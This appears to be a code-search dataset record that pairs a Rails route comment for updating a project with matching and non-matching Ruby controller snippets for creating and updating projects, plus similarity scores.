"def create\t\t\t\t\t\t\t\t\t# Creates record in db and redirects (porbably to index)\n\t\t@project = Project.new(projects_params)\t# Passes only title and desc.\n\n \trespond_to do |format|\t\t\t\t\t# All this is doing is rendering stuff in case of json\n \t\tif @project.save\n \t\tformat.html { redirect_to @project, notice: 'Created a new project!' }\n \t\tformat.json { render :show, status: :created, location: @project }\n \t\telse\n \t\tformat.html { render :new }\n \t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def create\n if params[:project_id]\n cloned_from = Project.find(params[:project_id])\n @project = cloned_from.clone(params, @cur_user.id)\n else\n @cloned_project = nil\n @project = Project.new project_params\n @project.user_id = @cur_user.id\n end\n\n respond_to do |format|\n if @project.save\n format.html do\n redirect_to @project, notice: 'Project was successfully created.'\n end\n format.json do\n render json: @project.to_hash(false),\n status: :created, location: @project\n end\n else\n flash[:error] = @project.errors.full_messages\n format.html { redirect_to projects_path }\n format.json do\n render json: @project.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def create_project(key, name, params = {})\n params[:key] = key\n params[:name] = name\n post('projects', params)\n end",
"def create\n @project = Project.new(project_params)\n @project.owner = current_user unless @project.owner\n if @project.save\n render :show, status: :created, location: @project\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'POST'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'CreateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tself.run(args)\n\tend",
"def projects\n resource 'projects'\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n build_projects_user\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n project_attrs = params[:project].merge(validate_repo_connectivity: true)\n @project = current_user.owned_projects.create(project_attrs, as: :owner)\n respond_with @project do |format|\n format.json do\n if @project.valid?\n render json: decorate(@project).to_json, status: :created\n else\n render json: {project: @project.errors.as_json}.to_json, status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\t\t@project.user_id =current_user.id\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.skills = params[:skills]\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.create(project_params)\n if @project.errors.blank?\n flash[:success] = t('controllers.projects.create.success', project: @project.name)\n else\n flash.now[:alert] = @project.errors.full_messages.unshift(t('controllers.projects.create.failure'))\n end\n respond_with @project, location: projects_url\n end",
"def create\n @new_nav = true;\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n create_attachments\n end\n\n if params[:project_fields]\n create_fields\n end\n\n if params[:slider_objects]\n create_slider_objects\n end\n\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user = current_user\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n begin\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n rescue Exception => e\n @project.destroy\n respond_to do |format|\n format.html { render :new }\n format.json { render json: e.as_json, status: :service_unavailable }\n end\n end\n end",
"def project_create(global_options, options)\n result = Excon.post(\n \"#{global_options[:fenton_server_url]}/projects.json\",\n body: project_json(options),\n headers: { 'Content-Type' => 'application/json' }\n )\n\n [result.status, JSON.parse(result.body)]\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n @project.user_projects.create(:user_id => current_user.id, :status => true, :role => 1)\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n flash[:alert] = \"Project created successfully.\"\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if is_organization_admin? and @project.save\n @project.team_members.create(user_id: @project.organization.owner_id)\n render json: {\n name: @project.name,\n organization: @project.organization.name,\n url: project_dashboard_path(@project.id)\n }\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if params[\"project\"][\"client_id\"] != \"\"\n @project.client = Client.find params[\"project\"][\"client_id\"]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Novo projeto cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.create(params[:project])\n \n if @project.save\n record_activity(\"created new project: \" + @project.id.to_s)\n redirect_to root_path, :notice => \"Project created successfully\"\n else\n render 'new'\n end\n end",
"def create\n find_projects(params[:api_key])\n end",
"def create\n\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n\n format.html { redirect_to @project, success: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(:project_title => params[:project_title], :start_date => params[:startDate], :end_date => params[:endDate],\n :status => params[:project_status])\n\n @project.user_id = current_user.id\n\n\n respond_to do |format|\n if @project.save\n p \"pass on projects controller\"\n format.html { redirect_to @project}\n format.json { render json: \"ok\" }\n else\n p \"fail on projects controller\"\n end\n end\n\n\n end",
"def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.create_project ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'create_project_body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Project'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.create_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to :projects, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html do\n @teams = Team.order(:name)\n render :new\n end\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n @project.team.touch\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n render_errors(format, @project.errors, :new)\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to [:user, @project], notice: 'Project temp was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n render text: params[:project].inspect\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Proyecto creado sastifactoriamente' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.status = \"Etat zero\"\n creator = current_user\n ProjectUser.create(:project => @project, :user => creator, :admin => true)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @projectable.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n track_activity @project\n format.html { redirect_to [@projectable, @project], notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n #Acá se retorna de la vista New (o de cualquier lugar que llame a create con POST). Le llega el hash project_params con \n # los datos que retornó la vista.\n\n #Crea el nuevo usuario.\n @project = Project.new(project_params)\n\n respond_to do |format| #Esta linea es curiosa. Si el request le llegó por HTML, entonces fue un navegador. Si le llego\n #por JSON, entonces probablemente fue otra cosa, un app movil por ejemplo.\n if @project.save #Esto guarda el proyecto nuevo en la base de datos y retorna True si no hubo problema, y False si hubo un error.\n # Es importante notar que al llamar .save, primero pasa por el modelo, el cual revisa que no falte ningún dato.\n # Por ejemplo, si el modelo necesita que se incluya el nombre del proyecto, si o si, y no se le pasó el nombre,\n # Entonces el modelo va a guardar ese error en un hash llamado errors, dentro de el mismo (@projects.errors)\n # y va a hacer que .save retorne False.\n\n\n format.html { redirect_to :controller => \"misc\", :action =>\"about\", notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7338948",
"0.73139244",
"0.7308003",
"0.7299582",
"0.7227503",
"0.7225945",
"0.71982473",
"0.71170384",
"0.7104803",
"0.7095263",
"0.7070636",
"0.70408624",
"0.70358187",
"0.7024969",
"0.70191896",
"0.7009597",
"0.698481",
"0.697517",
"0.6963753",
"0.6963096",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6948756",
"0.6944626",
"0.69397265",
"0.6938008",
"0.69204897",
"0.6911497",
"0.6908809",
"0.6907813",
"0.6894293",
"0.689054",
"0.68847734",
"0.6879909",
"0.68794346",
"0.6879012",
"0.68784195",
"0.6868972",
"0.68664163",
"0.68660194",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.68657774",
"0.6865554",
"0.68598175",
"0.6858278",
"0.6846567",
"0.6828604",
"0.68193066",
"0.6806436",
"0.678643",
"0.6784763",
"0.6773288",
"0.675545",
"0.6750235",
"0.67379624",
"0.6718913",
"0.6716745",
"0.67009157",
"0.66877806",
"0.6686259",
"0.668621",
"0.66856426",
"0.66838706",
"0.6680505",
"0.66770595",
"0.6670888",
"0.6668133",
"0.66572726",
"0.66528344",
"0.66518456",
"0.66511416",
"0.6649628",
"0.6649045",
"0.6642436",
"0.6638429",
"0.6634081",
"0.66324985",
"0.6629944",
"0.6628171",
"0.66263485",
"0.66259176",
"0.66255814"
] |
0.0
|
-1
|
PATCH/PUT /projects/1 PATCH/PUT /projects/1.json
|
def update
respond_to do |format|
if @project.update(project_params)
format.html { redirect_to @project, notice: 'Project was successfully updated.' }
format.json { render :show, status: :ok, location: @project }
else
format.html { render :edit }
format.json { render json: @project.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @project.update(project_params)\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def update\n authorize! :update, @project\n\n if @project.update(project_params)\n head :no_content\n else\n render 'projects/error', status: 422\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n if params[:name] == \"project_name\"\n project_name = params[:value]\n @project.project_name = project_name\n end\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n\n @projects = Project.all\n format.html {\n render :action => \"index\"\n }\n format.json { render json: @project }\n else\n logMessage = self.class.to_s + \"#\" + __method__.to_s + \" \" + current_user.username + \" errors:\" + @project.errors.full_messages.to_s\n logger.info logMessage\n\n format.html {\n flash[:error] = 'Project was not successfully updated.'\n redirect_to action: \"index\"\n }\n errorMsg = @project.errors.full_messages.to_s.split(\"\\\"\")\n format.json { render json: errorMsg[1], status: 500 }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, :notice => 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_project\n\t\t@project = Project.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @project.update_attributes(project_update_params)\n\t\t format.html { redirect_to(@project, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@project) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@project) }\n\t\t end\n\n \t end\n\tend",
"def update\t\t\t\t\t\t\t\t\t# Actually modifies the data and redirects (probably to index or show? depends)\n\t\t#@project = Project.find(params[:id])\t# Taken out because of the before action GENIUS!\n\n\t\trespond_to do |format|\n \t\t if @project.update(projects_params)\n \t\tformat.html { redirect_to @project, notice: 'Project was successfully updated.' }\n \t\tformat.json { render :show, status: :ok, location: @project }\n \t\telse\n \t\tformat.html { render :edit }\n \t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = current_user.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = @client.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to([@client, @project], notice: 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.json { render :show, status: :ok, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @project.update(project_params)\n\t\t\t\tformat.json { render :show, status: :ok }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @client = Client.find(params[:client_id])\n @project = Project.find(params[:id])\n \n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render json: @project.as_json(:include => [:client, :project_participants ] ) }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if project.update(project_params)\n format.html { redirect_to project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n @main_projects = Project.roots.where(creator_id: @project.creator_id)\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @project.update(project_params)\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def update\n @edit_project = Project.find(params[:id])\n\n respond_to do |format|\n if @edit_project.update_attributes(params[:project])\n format.html { redirect_to @edit_project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @edit_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_project.update(api_project_params)\n format.html { redirect_to @api_project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_project }\n else\n format.html { render :edit }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def project_update(project)\n raise Client::FileboundClientException.new('Id is required', 0) unless project[:projectId].greater_than_zero?\n put('/projects', nil, project)\n end",
"def update\n\t\t@project = Project.find(params[:id])\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @project.update_attributes(params[:project])\n\t\t\t\tformat.html { redirect_to @project, notice: t('app.projects.updated') }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n if @project.update(project_params)\n render :show, status: :ok, location: api_v1_project_url(@project)\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n \t\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to add_path(@project), notice: 'Project was successfully updated.' }\n format.json { render :add, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n params[:project][:problem_ids] ||= []\n params[:project][:target_ids] ||= []\n params[:project][:factor_ids] ||= []\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(projects_path, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: projects_path }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @project.update(project_params)\r\n format.html { redirect_to @project }\r\n format.json { respond_with_bip(@project) }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { respond_with_bip(@project) }\r\n end\r\n end\r\n end",
"def update\n authenticate_user!\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'PUT'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'UpdateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path() }\n format.xml { head :ok }\n else\n @edit_mode = true\n @tasks = Task.find_all_by_project_id(@project.id)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_updates\n @project = Project.find(params[:id])\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
